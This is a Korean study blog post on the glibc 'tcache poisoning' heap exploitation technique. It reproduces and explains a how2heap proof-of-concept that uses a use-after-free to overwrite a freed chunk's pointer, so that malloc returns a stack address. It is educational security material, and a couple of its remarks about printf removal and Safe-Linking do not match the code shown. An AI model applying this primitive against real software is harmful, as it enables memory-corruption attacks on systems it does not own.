오늘은 Tcache Poisoning공격에 대해 공부해보겠습니다.
Tcache Poisoning은 말 그대로 tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법입니다.
Poisoning은 free()된 청크의 fd(forward pointer)를 덮어써서, malloc()이 힙이 아닌 스택 주소를 반환하도록 조작합니다.
해당 취약점은 UAF(Use-After-Free)에서 기인합니다.
how2heap에서 제공하는 코드를 먼저 살펴보겠습니다.
https://github.com/shellphish/how2heap/blob/master/glibc_2.41/tcache_poisoning.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
size_t stack_var[0x10];
size_t *target = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
//청크 2개 할당
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
intptr_t *c = malloc(128);
printf("We got the control\n");
assert((long)target == (long)c);
return 0;
}
코드가 좀 길어서 printf문은 제거했습니다.

준비 단계에서는 0x80의 크기의 a와 b를 할당한 뒤 free(a)와 free(b)를 통해 tcache에 넣습니다
(glibc는 헤더길이 포함 0x90 크기 bin서 관리)
Tcache는 LIFO(후입선출)이므로 b가 리스트의 head가 됩니다.
즉 tcache list[0x90]에서는 [ b -> a ] 상태로 b의 next 포인터가 a를 가르키게 됩니다.
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
UAF취약점을 이용한 공격 포인트입니다.
b는 이미 해제되었지만, b[0] (b 청크의 데이터 영역 첫 8바이트)에 접근합니다.
해제된 tcache 청크의 첫 8바이트는 fd 포인터이므로 , 공격자는 b의 fd 포인터(a를 가르킴)에 원하는 임의의 주소를 덮어 쓸 수 있습니다.
Tcache List에서 [ b -> Target Address ] 의 형태로 원하는 주소를 가르키게 할 수 있습니다
printf("1st malloc(128): %p\n", malloc(128));
malloc은 tcache 0x90 bin의 맨 앞에 있는 청크 b를 반환합니다
또한 malloc은 tcache list의 head를 b에서 b의 fd포인터인 Target Address로 업데이트 합니다
intptr_t *c = malloc(128);
다시 malloc(128)을 통해 동적 할당 진행시 tcache는 해당 주소를 반환하고 c 포인터는 스택 주소를 가지게 됩니다.
assert((long)target == (long)c);
assert는 논리적인 함정으로 target과 c가 같은 값을 가지지 않으면 assertion failed와 함께 프로그램을 강제종료합니다.
하지만 해당 c코드를 실행시켜보면 정상적으로 실행됨을 확인할 수 있습니다.

사진을 보시면 2th malloc에 힙 주소인 0x56 ... 이 아니라 스택주소 0x7ff 의 주소가 적혀있음을 확인할 수 있습니다.
(해당 코드는 최신 glibc에선느 Safe-Linking에 의해 실행이 막힙니다)
이상으로 Tcache Poisioning에 대해 알아봤습니다.
다음 포스팅에서는 드림핵 3단계 Tcache Poisioning문제에 대한 write up을 작성해보겠습니다.
읽어주셔서 감사합니다!
'취약점분석 > Pwnable' 카테고리의 다른 글
| [Pwnable] tcache_dup (0) | 2025.11.07 |
|---|---|
| [Pwnable] tcache_poison write-up (0) | 2025.11.06 |
| [Pwnable] Double Free Bug (Memory Corruption) (0) | 2025.11.03 |
| [Pwnable] uaf_overwrite write-up (0) | 2025.10.28 |
| 리눅스 패스워드 크래킹 실습 (John the Ripper ) (0) | 2025.10.16 |